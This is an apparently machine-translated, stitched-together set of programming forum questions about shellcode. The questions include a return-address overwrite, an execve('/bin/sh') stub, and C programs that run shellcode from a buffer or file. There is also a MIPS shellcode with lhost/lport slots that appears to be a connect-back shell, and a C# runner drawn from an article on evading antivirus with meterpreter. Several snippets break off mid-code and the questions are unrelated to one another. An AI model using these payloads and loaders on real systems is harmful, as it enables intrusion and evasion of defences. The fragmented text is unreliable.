我正在尝试遵循有关缓冲区溢出的教程(Vivek Ramachandran 的缓冲区溢出入门)。我实际上是在遵循他的代码,该代码在演示中对他有效,并且到目前为止对我也有效。
下面的 C 程序的目标是将退出系统调用的 shellcode 分配给一个变量,然后用 shellcode 变量的内存地址替换 main 函数的默认返回地址(指向 __lib_start_main),这样程序在完成主函数后执行 shellcode,然后优雅地退出程序,退出值为 20(如执行“exit(20)”)。不幸的是,程序以分段错误结束。我在 32 位 Linux Mint 上运行它。我使用 gcc 来编译代码,并使用 --ggdb 和 -mpreferred-stack-boundary=2 选项对其进行编译,并且我尝试了使用和不使用 -fno-stack-protector 选项。
这是代码:
#include<stdio.h>
char shellcode[] = "\xbb\x16\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main(){
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}
Run Code Online (Sandbox Code Playgroud)
我已经通过 gdb 运行了这个,一切似乎都检查出来了: shellcode 变量的内存位置是 0x804a01c
我正在尝试编写某种漏洞利用程序,但在使我的 asm 代码在堆栈上的任何位置运行时遇到问题。就是这样:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
Run Code Online (Sandbox Code Playgroud)
由于选定的行,此代码将无法在堆栈上的任何位置工作,因为此代码可以在堆栈上的任何位置执行,因此 nasm 无法正确计算 arg 的地址。(这是shellcode 在作为单独代码单独运行时以及在使用 C++ 代码运行时调用不同系统调用的后续操作,这是问题所在。)
我已经轻松地用 jmp/call/pop 技巧替换了字符串,但指向字符串的指针仍然存在问题。
我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
Run Code Online (Sandbox Code Playgroud)
我尝试使用相同的输出以多种方式对其进行解码,还有其他方法可以对其进行解码吗?
如果确保kernel32.dll被加载到进程虚拟内存中,为什么我不能在不包含windows.h的情况下调用Sleep这样的函数?以下是来自vividmachine.com的摘录
那么,窗户呢?如何找到所需DLL函数的地址?每个Service Pack升级都不会改变这些地址吗?
有很多方法可以找到需要在shellcode中使用的函数的地址.有两种解决功能的方法; 您可以在运行时找到所需的功能或使用硬编码的地址.本教程将主要讨论硬编码方法.唯一保证映射到shellcode地址空间的DLL是kernel32.dll.这个DLL将保存LoadLibrary和GetProcAddress,这两个函数需要获取可以映射到漏洞进程空间的任何函数地址.但是这种方法存在问题,地址偏移量将随着Windows的每个新版本(服务包,补丁等)而改变.因此,如果您使用此方法,则shellcode仅适用于特定版本的Windows.进一步阅读部分将在本文末尾引用进一步的动态寻址.
上面是我之前的问题,当shell代码在源代码中时,它涉及从ac程序中清除shellcode.它由Carl Norum解决,并且由于记忆保护.我有一个不同的问题但是很相似.我没有将shell代码放在同一个文件中,而是想从.txt文件中读取shell代码并执行它.下面我尝试将一段内存标记为PROT_EXEC,并将.txt文件的内容读入其中并执行.但是它不起作用,我得到了同样的错误,KERN_PROTECTION_FAILURE,我尝试使用mprotect和mmap将一段内存标记为PROT_EXEC.
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*ret)();
unsigned char* buf;
int main()
{
FILE* file;
file = fopen("text.txt", "rb");
fseek(file, 0, SEEK_END);
unsigned int len = ftell(file);
fseek(file, 0, SEEK_SET);
buf = valloc(len);
fread(buf, 1, len, file);
fclose(file);
mprotect(buf, len, PROT_EXEC);
// I also tried mmap, but same error.
/* void *ptr = mmap(0, 1024, PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED)
{
perror("mmap");
exit(-1);
}
memcpy(ptr, buf, 1024);*/
ret = …Run Code Online (Sandbox Code Playgroud) 我今天在一些fb配置文件中看到了这段代码,并且无法理解这是什么以及它是如何工作的: -
(*(void(*)()) shellcode)()
Run Code Online (Sandbox Code Playgroud)
有人可以解释一下,上面的代码是什么意思?
下面的完整代码片段: -
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Run Code Online (Sandbox Code Playgroud) 我正在尝试编写一个执行任意 shellcode 的 C# 函数。好像是在工作,只是当创建的线程退出时,整个进程终止。我自己没有想出这个代码,而是主要从这个网站得到它:https : //webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/
这是执行shellcode的函数:
public void ExecuteShellCode(String code)
{
//pipe msfvenom raw to xxd -p -c 999999 (for example)
byte[] shellcode = StringToByteArray(code);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 0x1000, 0x40);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
Run Code Online (Sandbox Code Playgroud)
我使用以下示例调用它:
(注意 - 你可能不应该从互联网上随机运行 shellcode,这个例子是无害的,但你不应该相信我的话)
我用 msfvenom 生成了 shellcode - 它只是弹出一个消息框。
rsh.ExecuteShellCode(@"d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f6b582031db885c240289e368732158206869656e64687920467268486f776431c9884c240e89e131d252535152ffd031c050ff5508");
while (true)
{
Thread.Sleep(42);
}
Run Code Online (Sandbox Code Playgroud)
如果您需要将字符串转换为字节的代码,它在这里:
private static byte[] …Run Code Online (Sandbox Code Playgroud) 我试图理解为什么ret();在以下C程序中有效:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Run Code Online (Sandbox Code Playgroud)
为了使其工作,您必须编译上面没有堆栈保护,允许堆栈可执行.
我想知道的是为什么调用ret();,这看起来是分配给值的整数(int(*)())code;.
我猜它与函数指针实际上是整数有关,但我无法在心理上解包表达式的含义 int (*ret)() = (int(*)())code;
谢谢您的帮助
我正在阅读一篇关于编写shellcode(使用堆栈方法的execve)的基本文章:http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html
在步骤6中:它推送空字符,因为字符串"/ bin/sh"为空终止.之后,它以相反的顺序推送字符串"/ bin/sh"
为什么字符串以相反的顺序被推入堆栈?为什么在将字符串推入堆栈之前"推出"字符串的空字符?
我知道C编译器能够获取独立的代码,并针对它们所针对的特定系统从中生成独立的shellcode。
例如,在中给出以下内容anon.c:
int give3() {
return 3;
}
Run Code Online (Sandbox Code Playgroud)
我可以跑
Run Code Online (Sandbox Code Playgroud)gcc anon.c -o anon.obj -c objdump -D anon.obj
这给了我(在MinGW上):
anon1.obj: file format pe-i386
Disassembly of section .text:
00000000 <_give3>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: b8 03 00 00 00 mov $0x3,%eax
8: 5d pop %ebp
9: c3 ret
a: 90 nop
b: 90 nop
Run Code Online (Sandbox Code Playgroud)
所以我可以像这样制作main:
main.c
#include <stdio.h>
#include <stdint.h>
int main(int argc, char **argv)
{
uint8_t shellcode[] = {
0x55,
0x89, 0xe5,
0xb8, …Run Code Online (Sandbox Code Playgroud)